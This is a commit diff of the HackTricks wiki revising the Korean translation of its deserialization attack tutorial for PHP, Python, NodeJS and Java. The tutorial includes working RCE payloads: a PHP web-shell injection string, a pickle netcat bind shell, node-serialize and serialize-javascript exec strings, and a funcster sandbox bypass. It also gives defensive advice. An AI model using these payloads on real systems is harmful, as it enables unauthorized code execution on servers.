mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/java-signedobject-gated-
This commit is contained in:
parent
4d6a0cda0c
commit
e8d6897c44
@ -622,6 +622,7 @@
|
||||
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
|
||||
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
|
||||
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
|
||||
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
|
||||
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
||||
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
||||
|
@ -4,21 +4,21 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Serialization**은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
|
||||
**Serialization**는 객체를 보존 가능한 형식으로 변환하는 방법으로, 객체를 저장하거나 통신 과정에서 전송하기 위한 목적으로 사용됩니다. 이 기법은 객체의 구조와 상태를 유지한 채 나중에 동일한 객체를 재생성할 수 있도록 하기 위해 일반적으로 사용됩니다.
|
||||
|
||||
**Deserialization**은 반대로 직렬화에 반하는 과정입니다. 이는 특정 형식으로 구조화된 데이터를 가져와 다시 객체로 재구성하는 것을 포함합니다.
|
||||
**Deserialization**는 반대로 serialization을 역으로 수행하는 과정으로, 특정 형식으로 구조화된 데이터를 받아 객체로 재구성하는 것을 포함합니다.
|
||||
|
||||
Deserialization은 **공격자가 직렬화된 데이터를 조작하여 해로운 코드를 실행하거나 객체 재구성 과정에서 애플리케이션의 예기치 않은 동작을 유발할 수 있도록 허용할 가능성이 있기 때문에 위험할 수 있습니다.**
|
||||
Deserialization은 잠재적으로 **공격자가 직렬화된 데이터를 조작해 악성 코드를 실행할 수 있게 하거나** 객체 재구성 과정에서 애플리케이션에 예기치 못한 동작을 유발할 수 있기 때문에 위험할 수 있습니다.
|
||||
|
||||
## PHP
|
||||
|
||||
PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가 사용됩니다:
|
||||
PHP에서는 serialization과 deserialization 과정에서 특정 magic methods가 사용됩니다:
|
||||
|
||||
- `__sleep`: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화되어야 할 객체의 모든 속성 이름의 배열을 반환해야 합니다. 일반적으로 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.
|
||||
- `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다.
|
||||
- `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신 호출됩니다(존재하는 경우). 이는 `__wakeup`에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다.
|
||||
- `__destruct`: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다.
|
||||
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 기반한 다른 작업을 수행하는 데 사용될 수 있으며, 효과적으로 객체의 텍스트 표현을 제공합니다.
|
||||
- `__sleep`: 객체가 serialization될 때 호출됩니다. 이 메서드는 직렬화되어야 하는 객체의 모든 속성 이름을 배열로 반환해야 합니다. 보통 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.
|
||||
- `__wakeup`: 객체가 deserialization될 때 호출됩니다. 직렬화 중에 끊어졌을 수 있는 데이터베이스 연결을 재설정하거나 기타 재초기화 작업을 수행하는 데 사용됩니다.
|
||||
- `__unserialize`: 객체가 deserialization될 때(존재한다면) `__wakeup` 대신 호출됩니다. `__wakeup`에 비해 deserialization 과정을 더 세밀하게 제어할 수 있습니다.
|
||||
- `__destruct`: 객체가 파괴되기 직전이나 스크립트가 종료될 때 호출됩니다. 파일 핸들이나 데이터베이스 연결을 닫는 등 정리 작업에 주로 사용됩니다.
|
||||
- `__toString`: 객체를 문자열로 취급할 수 있게 해주는 메서드입니다. 내부 함수 호출에 따라 파일을 읽는 등 작업에 사용될 수 있으며, 객체의 텍스트 표현을 제공합니다.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
결과를 보면 객체가 역직렬화될 때 **`__wakeup`** 및 **`__destruct`** 함수가 호출되는 것을 알 수 있습니다. 여러 튜토리얼에서 **`__toString`** 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 **더 이상 그렇지 않은 것 같습니다**.
|
||||
결과를 보면 객체가 역직렬화될 때 함수 **`__wakeup`**와 **`__destruct`**가 호출되는 것을 볼 수 있습니다. 몇몇 튜토리얼에서는 속성을 출력하려 할 때 **`__toString`** 함수가 호출된다고 하지만, 현재는 **더 이상 그렇지 않은 것 같습니다**.
|
||||
|
||||
> [!WARNING]
|
||||
> 클래스에 구현된 경우 **`__unserialize(array $data)`** 메서드가 **`__wakeup()`** 대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.
|
||||
> 클래스에 구현되어 있으면 메서드 **`__unserialize(array $data)`**가 **`__wakeup()` 대신 호출됩니다**. 이 메서드는 직렬화된 데이터를 배열 형태로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용해 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,16 +85,17 @@ This is a test<br />
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // 역직렬화 시 필요한 작업을 수행합니다.
|
||||
> // Perform any necessary tasks upon deserialization.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
|
||||
설명된 **PHP 예제를 여기서** 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
설명된 **PHP 예제는 여기**에서 읽어보세요: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
### PHP 역직렬화 + Autoload Classes
|
||||
|
||||
PHP autoload 기능을 악용하여 임의의 php 파일 등을 로드할 수 있습니다:
|
||||
|
||||
PHP 자동 로드 기능을 악용하여 임의의 PHP 파일을 로드하고 더 많은 작업을 수행할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
php-deserialization-+-autoload-classes.md
|
||||
@ -102,7 +103,7 @@ php-deserialization-+-autoload-classes.md
|
||||
|
||||
### 참조된 값 직렬화
|
||||
|
||||
어떤 이유로 값을 **직렬화된 다른 값에 대한 참조로** 직렬화하고 싶다면:
|
||||
어떤 이유로 값을 **다른 직렬화된 값에 대한 참조로** 직렬화하려면 다음과 같이 할 수 있습니다:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -115,12 +116,12 @@ $o->param1 =& $o->param22;
|
||||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### PHP 객체 주입 방지하기 `allowed_classes`
|
||||
### `allowed_classes`로 PHP Object Injection 방지
|
||||
|
||||
> [!INFO]
|
||||
> **PHP 7.0**에서 `unserialize()`의 **두 번째 인자**(`$options` 배열)에 대한 지원이 추가되었습니다. 이전 버전에서는 함수가 직렬화된 문자열만 허용하므로 어떤 클래스가 인스턴스화될 수 있는지를 제한할 수 없습니다.
|
||||
> PHP 7.0에서 `unserialize()`의 **두 번째 인자**(`$options` 배열)에 대한 지원이 추가되었습니다. 이전 버전에서는 이 함수가 직렬화된 문자열만 받아 어떤 클래스가 인스턴스화될 수 있는지를 제한할 수 없습니다.
|
||||
|
||||
`unserialize()`는 **직렬화된 스트림** 내에서 찾은 모든 클래스를 인스턴스화합니다. PHP 7부터는 [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) 옵션으로 동작을 제한할 수 있습니다:
|
||||
`unserialize()`는 직렬화된 스트림 안에서 찾은 모든 클래스를 **인스턴스화**합니다(특별한 지시가 없는 한). PHP 7부터는 이 동작을 [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) 옵션으로 제한할 수 있습니다:
|
||||
```php
|
||||
// NEVER DO THIS – full object instantiation
|
||||
$object = unserialize($userControlledData);
|
||||
@ -135,11 +136,11 @@ $object = unserialize($userControlledData, [
|
||||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||||
]);
|
||||
```
|
||||
**`allowed_classes`가 생략되거나 코드가 PHP < 7.0에서 실행되는 경우**, 호출은 **위험해집니다**. 공격자는 `__wakeup()` 또는 `__destruct()`와 같은 매직 메서드를 악용하는 페이로드를 제작하여 원격 코드 실행(RCE)을 달성할 수 있습니다.
|
||||
만약 **`allowed_classes`가 생략되었거나 _또는_ 코드가 PHP < 7.0에서 실행된다면**, 해당 호출은 **위험해집니다**. 공격자는 `__wakeup()` 또는 `__destruct()` 같은 매직 메서드를 악용하는 페이로드를 만들어 Remote Code Execution (RCE)를 달성할 수 있습니다.
|
||||
|
||||
#### 실제 사례: Everest Forms (WordPress) CVE-2025-52709
|
||||
|
||||
WordPress 플러그인 **Everest Forms ≤ 3.2.2**는 헬퍼 래퍼로 방어적이려고 했지만 레거시 PHP 버전을 잊었습니다:
|
||||
WordPress 플러그인 **Everest Forms ≤ 3.2.2**는 헬퍼 래퍼로 방어하려고 했지만 레거시 PHP 버전을 고려하지 않았습니다:
|
||||
```php
|
||||
function evf_maybe_unserialize($data, $options = array()) {
|
||||
if (is_serialized($data)) {
|
||||
@ -154,29 +155,30 @@ return @unserialize(trim($data));
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
서버가 여전히 **PHP ≤ 7.0**을 실행하는 경우, 이 두 번째 분기는 관리자가 악의적인 양식 제출을 열었을 때 고전적인 **PHP Object Injection**으로 이어졌습니다. 최소한의 익스플로잇 페이로드는 다음과 같이 보일 수 있습니다:
|
||||
여전히 **PHP ≤ 7.0**을 실행하던 서버에서는 이 두 번째 분기가 관리자가 악성 폼 제출을 열었을 때 고전적인 **PHP Object Injection**으로 이어졌다. 최소한의 exploit payload는 다음과 같을 수 있다:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
관리자가 항목을 조회하자마자 객체가 인스턴스화되고 `SomeClass::__destruct()`가 실행되어 임의의 코드 실행이 발생했습니다.
|
||||
관리자가 해당 항목을 조회하자마자 객체가 인스턴스화되고 `SomeClass::__destruct()`가 실행되어 임의 코드 실행이 발생했다.
|
||||
|
||||
**주요 사항**
|
||||
1. `unserialize()`를 호출할 때 항상 `['allowed_classes' => false]` (또는 엄격한 화이트리스트)를 전달하세요.
|
||||
2. 방어적 래퍼를 감사하세요 – 종종 레거시 PHP 브랜치를 잊어버립니다.
|
||||
3. **PHP ≥ 7.x**로 업그레이드하는 것만으로는 *충분하지 않습니다*: 옵션은 여전히 명시적으로 제공되어야 합니다.
|
||||
**요점**
|
||||
1. 항상 `unserialize()`를 호출할 때 `['allowed_classes' => false]` (또는 엄격한 화이트리스트)를 전달하라.
|
||||
2. 방어적 래퍼를 점검하라 – 종종 레거시 PHP 분기를 누락한다.
|
||||
3. 단순히 **PHP ≥ 7.x**로 업그레이드하는 것만으로는 *충분하지 않다*: 해당 옵션은 여전히 명시적으로 제공되어야 한다.
|
||||
|
||||
---
|
||||
|
||||
### PHPGGC (PHP용 ysoserial)
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc)는 PHP 역직렬화를 악용하기 위한 페이로드를 생성하는 데 도움을 줄 수 있습니다.\
|
||||
여러 경우에 애플리케이션의 소스 코드에서 역직렬화를 악용할 방법을 **찾을 수 없지만**, 외부 PHP 확장의 코드를 **악용할 수 있을지도 모릅니다.**\
|
||||
가능하다면 서버의 `phpinfo()`를 확인하고 **인터넷에서 검색**하세요 (심지어 **PHPGGC**의 **가젯**에서도) 악용할 수 있는 가능한 가젯을 찾아보세요.
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) 는 PHP deserializations를 악용하기 위한 payloads 생성에 도움을 줄 수 있다.\
|
||||
몇몇 경우에는 애플리케이션의 소스 코드에서 deserialization을 악용할 방법을 찾지 못할 수 있으나, 외부 PHP extensions의 코드를 악용할 수 있을 수도 있다.\
|
||||
가능하면 서버의 `phpinfo()`를 확인하고 **인터넷**(그리고 **PHPGGC**의 **gadgets**까지)에서 악용 가능한 gadget들을 찾아보라.
|
||||
|
||||
### phar:// 메타데이터 역직렬화
|
||||
### phar:// 메타데이터 deserialization
|
||||
|
||||
만약 LFI를 발견했는데 해당 LFI가 파일 내부의 php 코드를 실행하지 않고 단순히 파일을 읽기만 한다면, 예를 들어 _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_ 같은 함수를 사용하는 경우, phar 프로토콜을 이용해 파일을 읽을 때 발생하는 deserialization을 악용해 볼 수 있다.\
|
||||
자세한 정보는 다음 글을 읽어라:
|
||||
|
||||
파일을 읽기만 하고 그 안의 PHP 코드를 실행하지 않는 LFI를 찾았다면, 예를 들어 _**file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**_**와 같은 함수를 사용하는 경우**. **phar** 프로토콜을 사용하여 **파일**을 읽을 때 발생하는 **역직렬화**를 악용해 볼 수 있습니다.\
|
||||
자세한 내용은 다음 게시물을 읽어보세요:
|
||||
|
||||
{{#ref}}
|
||||
../file-inclusion/phar-deserialization.md
|
||||
@ -186,8 +188,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
|
||||
### **Pickle**
|
||||
|
||||
객체가 언픽클될 때 함수 \_\_\_reduce\_\_\_가 실행됩니다.\
|
||||
악용될 경우 서버가 오류를 반환할 수 있습니다.
|
||||
객체가 unpickle될 때, 함수 \_\_\_reduce\_\_\_가 실행된다.\
|
||||
악용되면 서버가 에러를 반환할 수 있다.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
@ -195,9 +197,10 @@ def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
바이패스 기술을 확인하기 전에, `print(base64.b64encode(pickle.dumps(P(),2)))`를 사용하여 Python3를 실행 중인 경우 Python2와 호환되는 객체를 생성해 보세요.
|
||||
Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3.
|
||||
|
||||
For more information about escaping from **pickle jails** check:
|
||||
|
||||
**픽클 감옥**에서 탈출하는 방법에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -205,13 +208,15 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
다음 페이지는 **YAML의 안전하지 않은 역직렬화를 악용하는 기술**을 소개하고, **Pickle, PyYAML, jsonpickle 및 ruamel.yaml**에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:
|
||||
다음 페이지는 python yaml 라이브러리에서 **abuse an unsafe deserialization in yamls** 기법을 설명하고, **Pickle, PyYAML, jsonpickle and ruamel.yaml**에 대한 RCE deserialization payload를 생성할 수 있는 도구로 마무리합니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### 클래스 오염 (Python 프로토타입 오염)
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||||
@ -219,12 +224,11 @@ python-yaml-deserialization.md
|
||||
|
||||
## NodeJS
|
||||
|
||||
### JS 매직 함수
|
||||
### JS Magic Functions
|
||||
|
||||
JS는 PHP나 Python처럼 객체 생성을 위해 실행되는 **"매직" 함수**가 없습니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않고도 자주 사용되는 함수**가 있습니다.\
|
||||
역직렬화를 악용할 경우, 이러한 함수를 **타협하여 다른 코드를 실행**할 수 있으며(프로토타입 오염을 악용할 가능성 있음), 호출될 때 임의의 코드를 실행할 수 있습니다.
|
||||
JS에는 PHP나 Python처럼 객체를 생성하는 것만으로 자동으로 실행되는 "magic" 함수가 없습니다. 하지만 `toString`, `valueOf`, `toJSON`처럼 직접 호출하지 않아도 자주 사용되는 함수들이 있습니다. deserialization을 악용하여 이러한 함수들을 손상시키고 다른 코드를 실행하게 만들 수 있다면(잠재적으로 prototype pollutions를 악용하여) 해당 함수들이 호출될 때 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
함수를 직접 호출하지 않고 호출하는 또 다른 **"매직" 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **타협하는 것**입니다. 왜냐하면, 그 **반환 객체**를 **"then"이라는 함수형 속성을 가진 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되었기 때문에 **실행**됩니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 따라가세요._
|
||||
함수를 직접 호출하지 않고 호출하는 또 다른 "magic" 방법은 async 함수(promise)가 반환하는 객체를 손상시키는 것입니다. 반환 객체를 다른 promise로 transform하고 그 promise에 함수 타입의 "then"이라는 property를 추가하면, 그 객체가 다른 promise에 의해 반환되었다는 이유만으로 해당 "then"이 실행됩니다. _자세한 내용은_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _을 확인하세요._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -248,7 +252,7 @@ test_ressolve()
|
||||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### `__proto__` 및 `prototype` 오염
|
||||
### `__proto__` and `prototype` pollution
|
||||
|
||||
이 기술에 대해 배우고 싶다면 **다음 튜토리얼을 확인하세요**:
|
||||
|
||||
@ -259,7 +263,7 @@ nodejs-proto-prototype-pollution/
|
||||
|
||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||
|
||||
이 라이브러리는 함수를 직렬화할 수 있게 해줍니다. 예:
|
||||
이 라이브러리는 함수를 직렬화할 수 있습니다. 예:
|
||||
```javascript
|
||||
var y = {
|
||||
rce: function () {
|
||||
@ -272,23 +276,23 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
**직렬화된 객체**는 다음과 같이 보입니다:
|
||||
다음은 **직렬화된 객체**의 예입니다:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
예제에서 볼 수 있듯이, 함수가 직렬화될 때 `_$$ND_FUNC$$_` 플래그가 직렬화된 객체에 추가됩니다.
|
||||
예제에서 함수가 직렬화될 때 `_$$ND_FUNC$$_` 플래그가 직렬화된 객체에 추가되는 것을 볼 수 있습니다.
|
||||
|
||||
파일 `node-serialize/lib/serialize.js` 안에서 같은 플래그와 코드가 이를 어떻게 사용하는지 찾을 수 있습니다.
|
||||
Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
마지막 코드 조각에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 안에서 사용됩니다**.
|
||||
마지막 코드 블록에서 보듯이, **플래그가 발견되면** `eval`이 함수를 deserialize하는 데 사용되므로, 기본적으로 **사용자 입력이 `eval` 함수 내부에서 사용되는 셈입니다**.
|
||||
|
||||
하지만, **함수를 단순히 직렬화하는 것만으로는** 실행되지 않습니다. 왜냐하면 코드의 일부가 **`y.rce`를 호출해야** 하기 때문이며, 이는 매우 **가능성이 낮습니다**.\
|
||||
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가**하면 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\
|
||||
다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방식을 주목하세요:
|
||||
하지만, **단지 함수를 직렬화하는 것만으로는** 그것이 실행되지는 않습니다. 우리의 예에서는 코드의 어떤 부분이 **`y.rce`를 호출해야** 하기 때문이고, 그것은 매우 **가능성이 낮습니다**.\
|
||||
어쨌든, 객체가 deserialize 될 때 직렬화된 함수를 자동으로 실행시키기 위해 **직렬화된 객체를 수정해서** **괄호를 몇 개 추가하는** 방법을 사용할 수 있습니다.\
|
||||
다음 코드 블록에서 **마지막 괄호를 주목**하고 `unserialize` 함수가 어떻게 코드를 자동으로 실행하는지 보십시오:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -296,20 +300,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
앞서 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행**합니다. 따라서 **코드를 자동으로 실행**하기 위해 함수 생성 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너**를 **실행**할 수 있습니다:
|
||||
앞서 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 뒤의 코드를 가져와 `eval`을 사용해 **실행합니다**. 따라서 **코드를 자동으로 실행**하려면 함수 생성 부분과 마지막 괄호를 삭제하고 다음 예시처럼 **JS 원라이너를 바로 실행**하면 됩니다:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
여기에서 이 취약점을 악용하는 방법에 대한 [**추가 정보**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)를 찾을 수 있습니다.
|
||||
이 취약점을 악용하는 방법에 대한 **자세한 정보**는 [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)에서 확인할 수 있습니다.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster**의 주목할 만한 점은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 차단되어, `console.log()`나 `require(something)`와 같은 명령어를 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
|
||||
**funcster**의 주목할 점은 **표준 내장 객체들**에 접근할 수 없다는 것입니다; 이들은 접근 가능한 범위 밖에 존재합니다. 이 제한으로 인해 내장 객체의 메서드를 호출하려는 코드를 실행할 수 없으며, `console.log()`나 `require(something)` 같은 명령을 사용할 때 "ReferenceError: console is not defined"와 같은 예외가 발생합니다.
|
||||
|
||||
이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
|
||||
이러한 제한에도 불구하고, 특정 방법을 통해 모든 **표준 내장 객체들**을 포함한 전역 컨텍스트에 대한 완전한 접근을 복원할 수 있습니다. 전역 컨텍스트를 직접 활용하면 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -331,17 +335,17 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**자세한 정보는 이 출처를 읽어보세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** 패키지는 직렬화 목적으로만 설계되었으며, 내장된 역직렬화 기능이 없습니다. 사용자는 역직렬화를 위한 자신의 방법을 구현할 책임이 있습니다. 공식 예제에서는 직렬화된 데이터를 역직렬화하기 위해 `eval`의 직접 사용을 제안합니다:
|
||||
serialize-javascript 패키지는 오직 직렬화(serialization) 용도로만 설계되어 있으며, 내장된 역직렬화(deserialization) 기능이 없습니다. 역직렬화 방법은 사용자가 직접 구현해야 합니다. 공식 예제에서는 직렬화된 데이터를 역직렬화할 때 `eval`을 직접 사용하는 것을 제시합니다:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
}
|
||||
```
|
||||
이 함수가 객체를 역직렬화하는 데 사용된다면, 당신은 **쉽게 이를 악용할 수 있습니다**:
|
||||
이 함수가 객체를 deserialize하는 데 사용된다면 **쉽게 악용할 수 있습니다**:
|
||||
```javascript
|
||||
var serialize = require("serialize-javascript")
|
||||
//Serialization
|
||||
@ -355,90 +359,113 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**자세한 정보는 이 출처를 읽어보세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**자세한 정보는**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**를 읽어보세요.**
|
||||
|
||||
### Cryo 라이브러리
|
||||
### Cryo library
|
||||
|
||||
다음 페이지에서는 이 라이브러리를 악용하여 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다:
|
||||
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
|
||||
|
||||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니다**. 이 실행은 공격자가 이러한 콜백을 트리거하는 악성 페이로드를 제작하여 악의적인 행동을 실행할 수 있도록 악용될 수 있습니다.
|
||||
Java에서는 **역직렬화 콜백은 역직렬화 과정에서 실행됩니다**. 이 실행은 악의적인 페이로드를 만들어 이러한 콜백을 트리거하는 공격자에게 악용될 수 있으며, 그 결과 유해한 동작이 실행될 수 있습니다.
|
||||
|
||||
### 지문
|
||||
|
||||
#### 화이트 박스
|
||||
#### White Box
|
||||
|
||||
코드베이스에서 잠재적인 직렬화 취약점을 식별하기 위해 다음을 검색하세요:
|
||||
코드베이스에서 잠재적인 직렬화 취약점을 식별하려면 다음을 검색하세요:
|
||||
|
||||
- `Serializable` 인터페이스를 구현하는 클래스.
|
||||
- `java.io.ObjectInputStream`, `readObject`, `readUnshare` 함수의 사용.
|
||||
|
||||
다음에 특히 주의하세요:
|
||||
특히 주의해야 할 점:
|
||||
|
||||
- 외부 사용자가 정의한 매개변수와 함께 사용되는 `XMLDecoder`.
|
||||
